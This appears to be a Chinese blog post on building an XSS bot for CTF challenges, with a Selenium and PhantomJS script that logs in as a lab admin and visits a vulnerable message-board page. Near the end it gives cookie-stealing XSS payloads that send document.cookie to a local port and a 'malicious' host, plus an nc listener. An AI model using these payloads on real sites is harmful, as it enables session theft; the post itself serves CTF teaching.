首页 技术 正文
技术 2022年11月20日
0 收藏 825 点赞 3,022 浏览 2011 个字

如何写一个Xss Bot

现在的ctf比赛里

xss的出题方式比较特殊,一般使用xss bot,所以借鉴大佬经验尝试弄一个xss题目。

xss bot

就是代替管理员去完成点击页面的任务,bot需要能够执行js,事情的本质是我们需要一个浏览器内核来解析js

xss bot一般会用selenium+webdriver

webdriver一般有3种

chrome webdriver、firefox webdriver、phantomjs

selenium

selenium是用来控制webdriver的接口的

chrome和firefox的webdriver都有一个特点,就是需要桌面,我们搭建题目在docker环境中会有问题,

phantomjs和别的浏览器本质上没什么区别,差不多也是类似于浏览器的内核,优势其实是多平台支持,而且不需要浏览器支持(但是PhantomJS官方宣布暂停开发,python做爬虫的话,不要再用PhantomJS)

这里我们为了方便暂时使用phantomjs。

Selenium+PhantomJS安装

最新版selenium已经放弃PhantomJS了,selenium版本降级安装

pip install selenium==2.48.0

Download PhantomJS

ubuntu下可以直接

apt install PhantomJS

下载设置好环境变量即可使用。

以留言板xss为例做一个xss bot

网站留言处存在xss,bot实现功能模拟管理员登录后访问留言页面。

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Auther: xf@hackxf.cn#导入webdriver API对象,可以调用游览器和操作界面
from selenium import webdriver
import time
#要想调用键盘按键,鼠标操作需要引入keys包
from selenium.webdriver.common.keys import Keys
#创建PhantomJS浏览器对象
driver = webdriver.PhantomJS()
#加载网站页面
driver.get("http://192.168.228.36/admin/login.php")
#找到页面input输入标签并填充文本内容admin
driver.find_element_by_name('user').send_keys("admin")
driver.find_element_by_name('password').send_keys("ying20181818") #输入帐号密码登录网站
#By Class Name 找到class=button的按钮并模拟点击
data = driver.find_element_by_class_name('button').click()
time.sleep(1)
# driver.save_screenshot("sss.png") #截屏
for cookie in driver.get_cookies(): #打印当前cookie
print("%s -> %s"%(cookie['name'], cookie['value']))
#管理员登录状态访问存在xss的页面
driver.get("http://192.168.228.36/post.php?id=1")
# driver.save_screenshot("sss1.png") #截屏
for cookie in driver.get_cookies():
print("%s -> %s"%(cookie['name'], cookie['value']))
# print data
# print driver.title
#退出驱动关闭所有窗口
driver.quit()

参考资料

Selenium+PhantomJS使用时报错原因及解决方案

Selenium与PhantomJS使用手册

留言板xss bot靶场

登录或者设置cookie

实现xss bot一分钟运行一次的sh脚本

while sleep 1; do phantomjs --ignore-ssl-errors=true --local-to-remote-url-access=true --web-security=false --ssl-protocol=any xss-bot.js; done;

x入payload

<script>
new Image().src="http://127.0.0.1:1234/"+(document.cookie);
</script>
<script>document.write('<img src="http://malicious/?'+document.cookie+'  "/>');</script>

vps监听端口

nc -lvp 1234

一旦我们的PhantomJS XSS bot访问易受攻击的URL并执行有效负载,我们将收到对侦听器的回调

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,028
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,518
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,365
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,146
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,780
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,857